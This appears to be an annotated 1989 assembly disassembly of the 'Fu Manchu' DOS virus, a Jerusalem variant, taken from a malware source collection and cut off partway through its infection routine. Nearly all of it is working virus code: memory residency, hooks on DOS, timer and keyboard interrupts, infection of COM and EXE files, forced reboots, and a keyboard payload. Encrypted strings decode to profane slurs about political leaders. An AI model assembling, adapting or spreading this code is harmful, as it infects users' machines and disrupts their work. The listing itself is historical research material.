mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
945 lines
29 KiB
NASM
945 lines
29 KiB
NASM
page 65,132
|
||
title The 'Fu Manchu' Virus
|
||
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
|
||
; º British Computer Virus Research Centre º
|
||
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
|
||
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
|
||
; º º
|
||
; º The 'Fu Manchu' Virus º
|
||
; º Disassembled by Joe Hirst, June 1989 º
|
||
; º º
|
||
; º Copyright (c) Joe Hirst 1989. º
|
||
; º º
|
||
; º This listing is only to be made available to virus researchers º
|
||
; º or software writers on a need-to-know basis. º
|
||
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
|
||
|
||
; The virus occurs attached to the beginning of a COM file, or the end
|
||
; of an EXE file. A COM file also has the six-byte 'marker' attached
|
||
; to the end.
|
||
|
||
; This virus is a variation of the Jerusalem virus
|
||
|
||
; The disassembly has been tested by re-assembly using MASM 5.0.
|
||
|
||
RAM SEGMENT AT 0
|
||
|
||
; System data
|
||
|
||
ORG 3FCH
|
||
BW03FC DW ?
|
||
BB03FE DB ?
|
||
ORG 417H
|
||
BB0417 DB ? ; Key states
|
||
ORG 46CH
|
||
BB046C DB ? ; System clock - low byte
|
||
|
||
ORG 2CH
|
||
ENV_SG DW ? ; Segment address of environment
|
||
|
||
RAM ENDS
|
||
|
||
RAM40 SEGMENT at 400H
|
||
|
||
ORG 1AH
|
||
BW041A DW ? ; Key token in pointer
|
||
BW041C DW ? ; Key token out pointer
|
||
ORG 80H
|
||
BW0480 DW ? ; Key token buffer start pointer
|
||
BW0482 DW ? ; Key token buffer end pointer
|
||
|
||
RAM40 ENDS
|
||
|
||
CODE SEGMENT BYTE PUBLIC 'CODE'
|
||
ASSUME CS:CODE,DS:NOTHING,ES:RAM
|
||
|
||
; Entry point when attached to a COM file
|
||
|
||
START: JMP BP0010
|
||
|
||
DB 'sAX'
|
||
|
||
VR_SIG DB 'rEMHOr'
|
||
|
||
VIR_RT EQU THIS DWORD
|
||
V_RTOF DW 100H
|
||
V_RTSG DW 323FH
|
||
|
||
INT_08 EQU THIS DWORD
|
||
I08OFF DW 0106H ; Int 8 offset
|
||
I08SEG DW 0E95H ; Int 8 segment
|
||
|
||
INT_09 EQU THIS DWORD
|
||
I09OFF DW 02E9H ; Int 9 offset
|
||
I09SEG DW 0DC6H ; Int 9 segment
|
||
|
||
INT_16 EQU THIS DWORD
|
||
I16OFF DW 0 ; Int 16H offset
|
||
I16SEG DW 0 ; Int 16H segment
|
||
|
||
INT_21 EQU THIS DWORD
|
||
I21OFF DW 138DH ; Int 21H offset
|
||
I21SEG DW 029BH ; Int 21H segment
|
||
|
||
INT_24 EQU THIS DWORD
|
||
I24OFF DW 04EBH ; Int 24H offset
|
||
I24SEG DW 3228H ; Int 24H segment
|
||
|
||
BEGIN DW 0 ; Initial value for AX
|
||
F_SIZE DW 49H ; Total file size
|
||
TCOUNT1 DW 0 ; Timer count (low)
|
||
TCOUNT2 DW 0 ; Timer count (high)
|
||
ST_ES1 DW 3195H ; Original ES
|
||
SET_PA DW 00A2H
|
||
|
||
; Program parameter block
|
||
|
||
PPB_01 DW 0 ; Environment address
|
||
PPB_02 DW 0080H ; Command line offset
|
||
PPB_03 DW 3195H ; Command line segment
|
||
PPB_04 DW 005CH ; FCB1 offset
|
||
PPB_05 DW 3195H ; FCB1 segment
|
||
PPB_06 DW 006CH ; FCB2 offset
|
||
PPB_07 DW 3195H ; FCB2 segment
|
||
|
||
PRG_SP DW 0 ; Initial stack pointer store
|
||
PRG_SS DW 31A5H ; Initial stack segment store
|
||
PROGRM EQU THIS DWORD
|
||
PRGOFF DW 0 ; Initial code offset store
|
||
PRGSEG DW 31A5H ; Initial code segment store
|
||
SS_ST1 DW 0 ; Store for system area data (1)
|
||
SS_ST2 DB 86H ; Store for system area data (2)
|
||
|
||
; .EXE header store
|
||
|
||
EXEHED DB 4DH, 5AH ; 00 .EXE header ident
|
||
EXHD01 DW 0070H ; 02 Bytes in last page
|
||
EXHD02 DW 0006H ; 04 Size of file in pages
|
||
EXHD03 DW 0000H ; 06 Number of relocation entries
|
||
EXHD04 DW 0020H ; 08 Size of header in paragraphs
|
||
EXHD05 DW 0000H ; 0A Minimum extra storage required
|
||
EXHD06 DW -1 ; 0C Maximum extra storage required
|
||
EXHD07 DW 0005H ; 0E Initial stack segment
|
||
EXHD08 DW ENDADR ; 10 Initial stack pointer
|
||
EXHD09 DW 1988H ; 12 Negative checksum
|
||
EXHD10 DW 0223H ; 14 Initial code offset
|
||
EXHD11 DW 0005H ; 16 Initial code segment
|
||
DW 01EH ; 18 Relative offset of reloc table
|
||
DW 0 ; 1A Overlay number
|
||
|
||
SIGBUF DB 069H, 06FH, 06EH, 00DH, 00AH, 024H
|
||
F_HAND DW 5 ; File handle
|
||
F_ATTS DW 0020H ; File attributes
|
||
F_DATE DW 1273H ; File date
|
||
F_TIME DW 4972H ; File time
|
||
F_SIZ1 DW 0250H ; Low-order file size
|
||
F_SIZ2 DW 0 ; High-order file size
|
||
F_PATH EQU THIS DWORD
|
||
FPTHOF DW 3D5BH ; Program pathname offset
|
||
FPTHSG DW 9B70H ; Program pathname segment
|
||
COM_CM DB 'COMMAND.COM'
|
||
EXE_SW DB 0 ; EXE switch - 0 = .COM extension
|
||
MEM_SW DW 1 ; Memory allocated switch
|
||
OUT_SW DB 0 ; Output in progress switch
|
||
BYTSEC DW 0200H ; Bytes per sector
|
||
PARAGR DW 0010H ; Size of a paragraph
|
||
|
||
; The next fields are encrypted, and translate to:
|
||
|
||
;STRNG1 DB 'fu manchu virus 3/10/88 - latest in the new fun line!', 0
|
||
;STRNG2 DB 'thatcher is a cunt ', 0
|
||
;STRNG3 DB 'reagan is an arsehole ', 0
|
||
;STRNG4 DB 'botha is a bastard ', 0
|
||
;STRNG5 DB 'waldheim is a Nazi ', 0
|
||
;STRNG6 DB 'fuck', 8, 8, 8, 8, 0
|
||
;STRNG7 DB 'cunt', 8, 8, 8, 8, 0
|
||
;STRNG8 DB 'The world will hear from me again! ', 0
|
||
|
||
STRNG1 DB 0C9H, 0DAH, 08FH, 0C2H, 0CEH, 0C1H, 0CCH, 0C7H
|
||
DB 0DAH, 08FH, 0D9H, 0C6H, 0DDH, 0DAH, 0DCH, 08FH
|
||
DB 09CH, 080H, 09EH, 09FH, 080H, 097H, 097H, 08FH
|
||
DB 082H, 08FH, 0C3H, 0CEH, 0DBH, 0CAH, 0DCH, 0DBH
|
||
DB 08FH, 0C6H, 0C1H, 08FH, 0DBH, 0C7H, 0CAH, 08FH
|
||
DB 0C1H, 0CAH, 0D8H, 08FH, 0C9H, 0DAH, 0C1H, 08FH
|
||
DB 0C3H, 0C6H, 0C1H, 0CAH, 08EH, 0
|
||
STRNG2 DB 0DBH, 0C7H, 0CEH, 0DBH, 0CCH, 0C7H, 0CAH, 0DDH
|
||
DB 08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0CCH, 0DAH
|
||
DB 0C1H, 0DBH, 08FH, 0
|
||
STRNG3 DB 0DDH, 0CAH, 0CEH, 0C8H, 0CEH, 0C1H, 08FH, 0C6H
|
||
DB 0DCH, 08FH, 0CEH, 0C1H, 08FH, 0CEH, 0DDH, 0DCH
|
||
DB 0CAH, 0C7H, 0C0H, 0C3H, 0CAH, 08FH, 0
|
||
STRNG4 DB 0CDH, 0C0H, 0DBH, 0C7H, 0CEH, 08FH, 0C6H, 0DCH
|
||
DB 08FH, 0CEH, 08FH, 0CDH, 0CEH, 0DCH, 0DBH, 0CEH
|
||
DB 0DDH, 0CBH, 08FH, 0
|
||
STRNG5 DB 0D8H, 0CEH, 0C3H, 0CBH, 0C7H, 0CAH, 0C6H, 0C2H
|
||
DB 08FH, 0C6H, 0DCH, 08FH, 0CEH, 08FH, 0E1H, 0CEH
|
||
DB 0D5H, 0C6H, 08FH, 0
|
||
STRNG6 DB 0C9H, 0DAH, 0CCH, 0C4H, 0A7H, 0A7H, 0A7H, 0A7H, 0
|
||
STRNG7 DB 0CCH, 0DAH, 0C1H, 0DBH, 0A7H, 0A7H, 0A7H, 0A7H, 0
|
||
STRNG8 DB 0FBH, 0C7H, 0CAH, 08FH, 0D8H, 0C0H, 0DDH, 0C3H
|
||
DB 0CBH, 08FH, 0D8H, 0C6H, 0C3H, 0C3H, 08FH, 0C7H
|
||
DB 0CAH, 0CEH, 0DDH, 08FH, 0C9H, 0DDH, 0C0H, 0C2H
|
||
DB 08FH, 0C2H, 0CAH, 08FH, 0CEH, 0C8H, 0CEH, 0C6H
|
||
DB 0C1H, 08EH, 08FH, 08FH, 08FH, 0
|
||
|
||
; Each entry is:
|
||
; DB length to find
|
||
; DB length found
|
||
; DW pointer to string
|
||
|
||
TABLE DB 10, 0
|
||
DW STRNG1
|
||
DB 9, 0
|
||
DW STRNG2
|
||
DB 7, 0
|
||
DW STRNG3
|
||
DB 6, 0
|
||
DW STRNG4
|
||
DB 9, 0
|
||
DW STRNG5
|
||
DB 4, 0
|
||
DW STRNG6
|
||
DB 4, 0
|
||
DW STRNG7
|
||
DB 0
|
||
TABOUT DW 0 ; Table entry for output
|
||
|
||
; Key number table for fake input
|
||
|
||
KEYTAB DB 03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H ; 00 - 07
|
||
DB 0EH, 0FH, 1CH, 25H, 26H, 1CH, 31H, 18H ; 08 - 0F
|
||
DB 19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H ; 10 - 17
|
||
DB 2DH, 15H, 2CH, 01H, 2BH, 1BH, 07H, 0CH ; 18 - 1F
|
||
DB 39H, 02H, 28H, 04H, 05H, 06H, 08H, 28H ; 20 - 27
|
||
DB 0AH, 0BH, 09H, 0DH, 33H, 0CH, 34H, 35H ; 28 - 2F
|
||
DB 0BH, 02H, 03H, 04H, 05H, 06H, 07H, 08H ; 30 - 37
|
||
DB 09H, 0AH, 27H, 27H, 33H, 0DH, 34H, 35H ; 38 - 3F
|
||
DB 03H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H ; 40 - 47
|
||
DB 23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H ; 48 - 4F
|
||
DB 19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H ; 50 - 57
|
||
DB 2DH, 15H, 2CH, 1AH, 2BH, 1BH, 07H, 0CH ; 58 - 5F
|
||
DB 29H, 1EH, 30H, 2EH, 20H, 12H, 21H, 22H ; 60 - 67
|
||
DB 23H, 17H, 24H, 25H, 26H, 32H, 31H, 18H ; 68 - 6F
|
||
DB 19H, 10H, 13H, 1FH, 14H, 16H, 2FH, 11H ; 70 - 77
|
||
DB 2DH, 15H, 2CH, 1AH, 2BH, 1BH, 29H, 0EH ; 78 - 7F
|
||
|
||
; This section assumes a COM origin of 100H
|
||
|
||
|
||
BP0010: CLD
|
||
MOV AH,0E1H ; Virus "are you there" call
|
||
INT 21H ; DOS service (Virus - 1)
|
||
CMP AH,0E1H ; Test for unchanged
|
||
JNB BP0020 ; Branch if invalid reply
|
||
CMP AH,4 ; Test for standard "yes"
|
||
JB BP0020 ; Branch if non-standard
|
||
MOV AH,0DDH ; Replace program over virus
|
||
MOV DI,0100H ; Initial offset
|
||
MOV SI,OFFSET ENDADR ; Length of virus
|
||
ADD SI,DI ; Add initial offset
|
||
MOV CX,F_SIZE[DI] ; Get total filesize
|
||
INT 21H ; DOS service (Virus - 2)
|
||
|
||
; Virus not in system, or non-communicating variety
|
||
|
||
BP0020: MOV AX,CS ; Get current segment
|
||
ADD AX,10H ; Address past PSP
|
||
MOV PRG_SP,SP ; Save current value
|
||
MOV SS,AX ; \ Set up stack
|
||
MOV SP,OFFSET ENDADR+100H ; /
|
||
PUSH AX ; Segment for return
|
||
MOV AX,OFFSET BP0030 ; \ Offset for return
|
||
PUSH AX ; /
|
||
RETF ; "Return" to next instruction
|
||
|
||
; We now have an origin of zero
|
||
; Entry point when attached to an EXE file
|
||
|
||
BP0030: CLD
|
||
PUSH ES
|
||
MOV ST_ES1,ES ; Save original ES
|
||
MOV PPB_03,ES ; \
|
||
MOV PPB_05,ES ; ) Segments in PPB
|
||
MOV PPB_07,ES ; /
|
||
MOV AX,ES ; \ Segment relocation factor
|
||
ADD AX,10H ; /
|
||
ADD PRGSEG,AX ; Initial code segment store
|
||
ADD PRG_SS,AX ; Initial stack segment store
|
||
MOV AH,0E1H ; Virus "are you there" call
|
||
INT 21H ; DOS service (Virus - 1)
|
||
CMP AH,0E1H ; Test for unchanged
|
||
JNB BP0040 ; Branch if not
|
||
CMP AH,4 ; Test for standard "yes"
|
||
POP ES
|
||
MOV SS,PRG_SS ; Initial stack segment store
|
||
MOV SP,PRG_SP ; Initial stack pointer store
|
||
JMP PROGRM ; Start of actual program
|
||
|
||
; Virus is not already active
|
||
|
||
BP0040: XOR AX,AX ; \ Address page zero
|
||
MOV ES,AX ; /
|
||
MOV AX,BW03FC ; \ Save system area data (1)
|
||
MOV SS_ST1,AX ; /
|
||
MOV AL,BB03FE ; \ Save system area data (2)
|
||
MOV SS_ST2,AL ; /
|
||
MOV BW03FC,0A4F3H ; Store REPZ MOVSB
|
||
MOV BB03FE,0CBH ; Store RETF
|
||
POP AX ; \
|
||
ADD AX,10H ; ) Address past PSP
|
||
MOV ES,AX ; /
|
||
PUSH CS ; \ Set DS to CS
|
||
POP DS ; /
|
||
MOV CX,OFFSET ENDADR ; Length of virus
|
||
XOR SI,SI ; \ Clear registers
|
||
MOV DI,SI ; /
|
||
PUSH ES ; \
|
||
MOV AX,OFFSET BP0050 ; ) Set up return address
|
||
PUSH AX ; /
|
||
DB 0EAH ; \ Far jump to move instruction
|
||
DW BW03FC, 0 ; /
|
||
|
||
BP0050: MOV AX,CS ; \
|
||
MOV SS,AX ; ) Set up internal stack
|
||
MOV SP,OFFSET ENDADR+100H ; /
|
||
XOR AX,AX ; \ Address page zero
|
||
MOV DS,AX ; /
|
||
ASSUME DS:RAM,ES:NOTHING
|
||
MOV AX,SS_ST1 ; \ Restore system area data (1)
|
||
MOV BW03FC,AX ; /
|
||
MOV AL,SS_ST2 ; \ Restore system area data (2)
|
||
MOV BB03FE,AL ; /
|
||
MOV BX,SP ; Get stack pointer
|
||
MOV CL,4 ; \ Convert to paragraphs
|
||
SHR BX,CL ; /
|
||
ADD BX,10H ; Allow for PSP
|
||
MOV SET_PA,BX ; Save number of paragraphs
|
||
MOV ES,ST_ES1 ; Get original ES
|
||
MOV AH,4AH ; Set block
|
||
INT 21H ; DOS service (Set block)
|
||
MOV AX,3521H ; Get interrupt 21H
|
||
INT 21H ; DOS service (Get int)
|
||
MOV I21OFF,BX ; Save interrupt 21H offset
|
||
MOV I21SEG,ES ; Save interrupt 21H segment
|
||
PUSH CS ; \ Set DS to CS
|
||
POP DS ; /
|
||
ASSUME DS:CODE
|
||
MOV DX,OFFSET BP0170 ; Interrupt 21H routine
|
||
MOV AX,2521H ; Set interrupt 21H
|
||
INT 21H ; DOS service (Set int)
|
||
MOV ES,ST_ES1 ; Get original ES
|
||
ASSUME ES:RAM
|
||
MOV ES,ES:ENV_SG ; Get environment segment
|
||
XOR DI,DI ; Start of environment
|
||
MOV CX,7FFFH ; Allow for 32K environment
|
||
XOR AL,AL ; Search for zero
|
||
BP0060: REPNZ SCASB ; Find zero
|
||
CMP ES:[DI],AL ; Is following character zero
|
||
LOOPNZ BP0060 ; Search again if not
|
||
MOV DX,DI ; Save pointer
|
||
ADD DX,3 ; Address pathname
|
||
MOV AX,4B00H ; Load and execute program
|
||
PUSH ES ; \ Set DS to ES
|
||
POP DS ; /
|
||
PUSH CS ; \ Set ES to CS
|
||
POP ES ; /
|
||
ASSUME DS:RAM,ES:NOTHING
|
||
MOV BX,OFFSET PPB_01 ; PPB (for load and execute)
|
||
PUSH DS
|
||
PUSH ES
|
||
PUSH AX
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
PUSH CS ; \ Set DS to CS
|
||
POP DS ; /
|
||
ASSUME DS:CODE
|
||
|
||
; Install interrupt 9 routine
|
||
|
||
MOV AX,3509H ; Get interrupt 9
|
||
INT 21H ; DOS service (Get int)
|
||
MOV I09OFF,BX ; Save interrupt 9 offset
|
||
MOV I09SEG,ES ; Save interrupt 9 segment
|
||
MOV AX,2509H ; Set interrupt 9
|
||
MOV DX,OFFSET BP0150 ; Interrupt 9 routine
|
||
INT 21H ; DOS service (Set int)
|
||
|
||
MOV AH,2AH ; Get date
|
||
INT 21H ; DOS service (Get date)
|
||
CMP CX,07C5H ; Year = 1989
|
||
JL BP0070 ; Branch if before
|
||
CMP DH,8 ; Month = August
|
||
JL BP0070 ; Branch if before
|
||
|
||
; Install interrupt 16H routine
|
||
|
||
MOV OUT_SW,0 ; Set off output switch
|
||
MOV AX,3516H ; Get interrupt 16H
|
||
INT 21H ; DOS service (Get int)
|
||
MOV I16OFF,BX ; Save interrupt 16H offset
|
||
MOV I16SEG,ES ; Save interrupt 16H segment
|
||
MOV AX,2516H ; Set interrupt 16H
|
||
MOV DX,OFFSET BP0540 ; Interrupt 16H routine
|
||
INT 21H ; DOS service (Set int)
|
||
|
||
BP0070: MOV BL,BB046C ; Get low byte of system clock
|
||
MOV BH,BL ; Copy
|
||
AND BX,0F00FH ; Isolate nibbles
|
||
CMP BL,0 ; Is low nibble of clock zero?
|
||
JNE BP0080 ; Branch if not
|
||
MOV CL,4 ; Bits to move
|
||
SHR BH,CL ; Move top nibble to bottom
|
||
CMP BH,0 ; Is second nibble of clock zero?
|
||
JE BP0080 ; Branch if yes
|
||
XOR AX,AX ; Clear register
|
||
MOV TCOUNT1,AX ; Set timer count (low)
|
||
MOV AL,BH ; Get second nibble of system clock
|
||
MOV TCOUNT2,AX ; Set timer count (high)
|
||
|
||
; Install interrupt 8 routine
|
||
|
||
MOV AX,3508H ; Get interrupt 8
|
||
INT 21H ; DOS service (Get int)
|
||
MOV I08OFF,BX ; Save interrupt 8 offset
|
||
MOV I08SEG,ES ; Save interrupt 8 segment
|
||
MOV AX,2508H ; Set interrupt 8
|
||
MOV DX,OFFSET BP0100 ; Interrupt 8 routine
|
||
INT 21H ; DOS service (Set int)
|
||
|
||
BP0080: POP DX
|
||
POP CX
|
||
POP BX
|
||
POP AX
|
||
POP ES
|
||
POP DS
|
||
ASSUME DS:NOTHING
|
||
PUSHF ; Fake an interrupt
|
||
CALL INT_21 ; Interrupt 21H (Load and execute)
|
||
PUSH DS ; \ Set ES to DS
|
||
POP ES ; /
|
||
MOV AH,49H ; Free allocated memory
|
||
INT 21H ; DOS service (Free memory)
|
||
MOV AH,4DH ; Get return code of child process
|
||
INT 21H ; DOS service (Get return code)
|
||
MOV AH,31H ; Keep process
|
||
MOV DX,OFFSET ENDADR ; Length of program
|
||
MOV CL,4 ; \ Convert to paragraphs
|
||
SHR DX,CL ; /
|
||
ADD DX,10H ; Add length of PSP
|
||
INT 21H ; DOS service (Keep process)
|
||
|
||
; Interrupt 24H
|
||
|
||
BP0090: XOR AL,AL ; Ignore the error
|
||
IRET
|
||
|
||
; Interrupt 8
|
||
|
||
BP0100: SUB TCOUNT1,1 ; \ Subtract from timer count
|
||
SBB TCOUNT2,0 ; /
|
||
JNZ BP0140 ; Branch if not zero
|
||
CMP TCOUNT1,0 ; Is low count zero?
|
||
JNZ BP0140 ; Branch if not
|
||
BP0110: PUSH CS ; \ Set DS to CS
|
||
POP DS ; /
|
||
MOV AX,3 ; Mode three
|
||
INT 10H ; VDU I/O
|
||
MOV AH,2 ; Move cursor
|
||
MOV BH,0 ; Page zero
|
||
MOV DX,0A14H ; Row ten column twenty
|
||
INT 10H ; VDU I/O
|
||
MOV SI,OFFSET STRNG8 ; Address message
|
||
BP0120: LOOP BP0120 ; Delay between characters
|
||
LODSB ; Get a character
|
||
CMP AL,0 ; Is that the end?
|
||
JE BP0130 ; Branch if yes
|
||
XOR AL,0AFH ; Decrypt character
|
||
MOV AH,14 ; Write in TTY mode
|
||
INT 10H ; VDU I/O
|
||
JMP BP0120 ; Next character
|
||
|
||
BP0130: DB 0EAH ; Far jump to BIOS initialisation
|
||
DW 0FFF0H, 0F000H
|
||
|
||
BP0140: JMP INT_08 ; Interrupt 8
|
||
|
||
; Interrupt 9
|
||
|
||
ASSUME DS:RAM
|
||
BP0150: PUSH AX
|
||
PUSH BX
|
||
PUSH DS
|
||
XOR AX,AX ; \ Address zero
|
||
MOV DS,AX ; /
|
||
IN AL,60H ; Get keyboard token
|
||
MOV BL,BB0417 ; Get key states
|
||
TEST BL,8 ; Alt key depressed?
|
||
JZ BP0160 ; Branch if not
|
||
TEST BL,4 ; Ctrl key depressed?
|
||
JZ BP0160 ; Branch if not
|
||
CMP AL,53H ; Del character token?
|
||
JNE BP0160 ; Branch if not
|
||
AND BL,0F3H ; Set off Alt & Ctrl states
|
||
MOV BB0417,BL ; Replace key states
|
||
IN AL,61H ; Get Port B
|
||
MOV AH,AL ; Save value
|
||
OR AL,80H ; Set on keyboard reset bit
|
||
OUT 61H,AL ; Output port B
|
||
XCHG AL,AH ; Recover original Port B value
|
||
OUT 61H,AL ; Output port B
|
||
JMP BP0110 ; Message and reboot
|
||
|
||
BP0160: POP DS
|
||
POP BX
|
||
POP AX
|
||
JMP INT_09 ; Interrupt 9
|
||
|
||
; Interrupt 21H
|
||
|
||
BP0170: PUSHF
|
||
CMP AH,0E1H ; Virus "are you there" call
|
||
JNE BP0180 ; Branch if other call
|
||
MOV AX,0400H ; Standard "yes"
|
||
POPF
|
||
IRET
|
||
|
||
BP0180: CMP AH,0DDH ; Virus move and execute COM call
|
||
JE BP0200 ; Branch if yes
|
||
CMP AX,4B00H ; Is it load and execute
|
||
JNE BP0190 ; Branch if not
|
||
JMP BP0210 ; Process load and execute
|
||
|
||
BP0190: POPF
|
||
JMP INT_21 ; Interrupt 21H
|
||
|
||
; Move program down and execute (COM only) call
|
||
|
||
ASSUME DS:NOTHING
|
||
BP0200: POP AX
|
||
POP AX ; Retrieve return offset
|
||
MOV AX,100H ; Replace with start address
|
||
MOV V_RTOF,AX ; Store in return jump
|
||
POP AX ; Retrieve return segment
|
||
MOV V_RTSG,AX ; Store in return jump
|
||
REPZ MOVSB ; Restore program to beginning
|
||
POPF
|
||
MOV AX,BEGIN ; Start with zero register
|
||
JMP VIR_RT ; Start actual program
|
||
|
||
; Process load and execute program
|
||
|
||
BP0210: MOV F_HAND,-1 ; No file handle
|
||
MOV MEM_SW,0 ; Set off memory allocated switch
|
||
MOV FPTHOF,DX ; Save pathname offset
|
||
MOV FPTHSG,DS ; Save pathname segment
|
||
PUSH AX
|
||
PUSH BX
|
||
PUSH CX
|
||
PUSH DX
|
||
PUSH SI
|
||
PUSH DI
|
||
PUSH DS
|
||
PUSH ES
|
||
CLD
|
||
MOV DI,DX ; Point to file pathname
|
||
XOR DL,DL ; Default drive
|
||
CMP BYTE PTR [DI+1],3AH ; Test second character for ':'
|
||
JNE BP0220 ; Branch if not
|
||
MOV DL,[DI] ; Get drive letter
|
||
AND DL,1FH ; Convert to number
|
||
BP0220: MOV AH,36H ; Get disk free space
|
||
INT 21H ; DOS service (Get disk free)
|
||
CMP AX,-1 ; Test for invalid drive
|
||
JNE BP0240 ; Branch if not
|
||
BP0230: JMP BP0530 ; Terminate
|
||
|
||
BP0240: MUL BX ; Calc number of free sectors
|
||
MUL CX ; Calc number of free bytes
|
||
OR DX,DX ; Test high word of result
|
||
JNZ BP0250 ; Branch if not zero
|
||
CMP AX,OFFSET ENDADR ; Length of virus
|
||
JB BP0230 ; Terminate if less
|
||
BP0250: MOV DX,FPTHOF ; Get pathname offset
|
||
PUSH DS ; \ Set ES to DS
|
||
POP ES ; /
|
||
XOR AL,AL ; Test character - zero
|
||
MOV CX,41H ; Maximum pathname length
|
||
REPNZ SCASB ; Find end of pathname
|
||
MOV SI,FPTHOF ; Get pathname offset
|
||
BP0260: MOV AL,[SI] ; Get pathname character
|
||
OR AL,AL ; Test for a character
|
||
JZ BP0280 ; Finish if none
|
||
CMP AL,61H ; Test for 'a'
|
||
JB BP0270 ; Branch if less
|
||
CMP AL,7AH ; Test for 'z'
|
||
JA BP0270 ; Branch if above
|
||
SUB BYTE PTR [SI],20H ; Convert to uppercase
|
||
BP0270: INC SI ; Address next character
|
||
JMP BP0260 ; Process next character
|
||
|
||
BP0280: MOV CX,0BH ; Load length 11
|
||
SUB SI,CX ; Address back by length
|
||
MOV DI,OFFSET COM_CM ; 'COMMAND.COM'
|
||
PUSH CS ; \ Set ES to CS
|
||
POP ES ; /
|
||
MOV CX,0BH ; Load length again
|
||
REPZ CMPSB ; Compare
|
||
JNE BP0290 ; Continue if not command.com
|
||
JMP BP0530 ; Terminate
|
||
|
||
BP0290: MOV AX,4300H ; Get file attributes
|
||
INT 21H ; DOS service (Get attributes)
|
||
JB BP0300 ; Follow chain of error branches
|
||
MOV F_ATTS,CX ; Save file attributes
|
||
BP0300: JB BP0320 ; Follow chain of error branches
|
||
XOR AL,AL ; Scan character - zero
|
||
MOV EXE_SW,AL ; Set EXE switch off
|
||
PUSH DS ; \ Set ES to DS
|
||
POP ES ; /
|
||
MOV DI,DX ; Pointer to pathname
|
||
MOV CX,41H ; Maximum pathname length
|
||
REPNZ SCASB ; Find end of pathname
|
||
CMP BYTE PTR [DI-2],4DH ; Is last letter 'M'
|
||
JE BP0310 ; Branch if yes
|
||
CMP BYTE PTR [DI-2],6DH ; Is last letter 'm'
|
||
JE BP0310 ; Branch if yes
|
||
INC EXE_SW ; Set EXE switch on
|
||
BP0310: MOV AX,3D00H ; Open handle, read only
|
||
INT 21H ; DOS service (Open handle)
|
||
BP0320: JB BP0330 ; Follow chain of error branches
|
||
MOV F_HAND,AX ; Save file handle
|
||
MOV BX,AX ; File handle
|
||
CMP EXE_SW,0 ; Test EXE switch
|
||
JE BP0340 ; Branch if off
|
||
|
||
; Test EXE file for infection
|
||
|
||
MOV CX,1CH ; Length of EXE header
|
||
MOV DX,OFFSET EXEHED ; .EXE header store
|
||
MOV AX,CS ; \
|
||
MOV DS,AX ; ) Make DS & ES same as CS
|
||
MOV ES,AX ; /
|
||
ASSUME DS:CODE
|
||
MOV AH,3FH ; Read handle
|
||
INT 21H ; DOS service (Read handle)
|
||
BP0330: JB BP0370 ; Follow chain of error branches
|
||
CMP EXHD09,1988H ; Negative checksum
|
||
JNE BP0360 ; Branch if not infected
|
||
JMP BP0350 ; Dont infect
|
||
|
||
ASSUME DS:NOTHING
|
||
BP0340: MOV AX,4202H ; Move file pointer
|
||
MOV CX,-1 ; \ End of file minus 6
|
||
MOV DX,-6 ; /
|
||
INT 21H ; DOS service (Move pointer)
|
||
JB BP0320 ; Follow chain of error branches
|
||
ADD AX,6 ; Total file size
|
||
MOV F_SIZE,AX ; Save total file size
|
||
MOV CX,6 ; Length to read
|
||
MOV DX,OFFSET SIGBUF ; Infection test buffer
|
||
MOV AX,CS ; \
|
||
MOV DS,AX ; ) Make DS & ES same as CS
|
||
MOV ES,AX ; /
|
||
ASSUME DS:CODE
|
||
MOV AH,3FH ; Read handle
|
||
INT 21H ; DOS service (Read handle)
|
||
MOV DI,DX ; Address test buffer
|
||
MOV SI,OFFSET VR_SIG ; Signature
|
||
REPZ CMPSB ; Compare signatures
|
||
JNE BP0360 ; Branch if not infected
|
||
BP0350: MOV AH,3EH ; Close handle
|
||
INT 21H ; DOS service (Close handle)
|
||
JMP BP0530 ; Terminate
|
||
|
||
BP0360: MOV AX,3524H ; Get interrupt 24H
|
||
INT 21H ; DOS service (Get int)
|
||
MOV I24OFF,BX ; Save interrupt 24H offset
|
||
MOV I24SEG,ES ; Save interrupt 24H segment
|
||
MOV DX,OFFSET BP0090 ; Interrupt 24H routine
|
||
MOV AX,2524H ; Set interrupt 24H
|
||
INT 21H ; DOS service (Set int)
|
||
LDS DX,F_PATH ; Address program pathname
|
||
XOR CX,CX ; No attributes
|
||
MOV AX,4301H ; Set file attributes
|
||
INT 21H ; DOS service (Set attributes)
|
||
ASSUME DS:NOTHING
|
||
BP0370: JB BP0380 ; Follow chain of error branches
|
||
MOV BX,F_HAND ; Get file handle
|
||
MOV AH,3EH ; Close handle
|
||
INT 21H ; DOS service (Close handle)
|
||
MOV F_HAND,-1 ; No file handle
|
||
MOV AX,3D02H ; Open handle read/write
|
||
INT 21H ; DOS service (Open handle)
|
||
JB BP0380 ; Follow chain of error branches
|
||
MOV F_HAND,AX ; Save file handle
|
||
MOV AX,CS ; \
|
||
MOV DS,AX ; ) Make DS & ES same as CS
|
||
MOV ES,AX ; /
|
||
ASSUME DS:CODE
|
||
MOV BX,F_HAND ; Get file handle
|
||
MOV AX,5700H ; Get file date and time
|
||
INT 21H ; DOS service (Get file date)
|
||
MOV F_DATE,DX ; Save file date
|
||
MOV F_TIME,CX ; Save file time
|
||
MOV AX,4200H ; Move file pointer
|
||
XOR CX,CX ; \ Beginning of file
|
||
MOV DX,CX ; /
|
||
INT 21H ; DOS service (Move pointer)
|
||
BP0380: JB BP0410 ; Follow chain of error branches
|
||
CMP EXE_SW,0 ; Test EXE switch
|
||
